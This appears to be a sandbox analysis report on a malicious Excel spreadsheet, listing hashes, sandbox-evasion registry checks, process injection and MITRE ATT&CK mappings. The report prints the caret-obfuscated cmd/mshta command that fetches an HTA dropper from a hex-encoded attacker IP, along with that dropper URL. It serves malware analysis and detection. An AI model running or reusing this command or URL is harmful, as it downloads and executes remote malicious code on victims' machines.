8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177

General

Target

8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls
Size

142KB
MD5

994d78ed4f375307b15d5886b8c7b1df
SHA1

1f9fbed0fa4a791a6765351b8a242a79ec80d257
SHA256

8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177
SHA512

46b2b712071a87aad30f11b86be7a02f80ada10655762f263e8aaa9888b03b148fb49f73d565d2aedb10d9c7840c0737525bb5302e85f97ce85e9aa1da5b65f7

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3840	2736	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
42	604	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2736	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 3076	2736	EXCEL.EXE	70
PID 2736 wrote to memory of 3076	2736	EXCEL.EXE	70
PID 2736 wrote to memory of 3840	2736	EXCEL.EXE	72
PID 2736 wrote to memory of 3840	2736	EXCEL.EXE	72
PID 3840 wrote to memory of 604	3840	cmd.exe	74
PID 3840 wrote to memory of 604	3840	cmd.exe	74

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3076
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3840
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:604

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2736-115-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2736-116-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2736-117-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2736-118-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2736-121-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2736-128-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

Filesize
64KB

Download
memory/2736-129-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

Filesize
64KB

Download
memory/2736-572-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2736-573-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2736-574-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2736-575-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads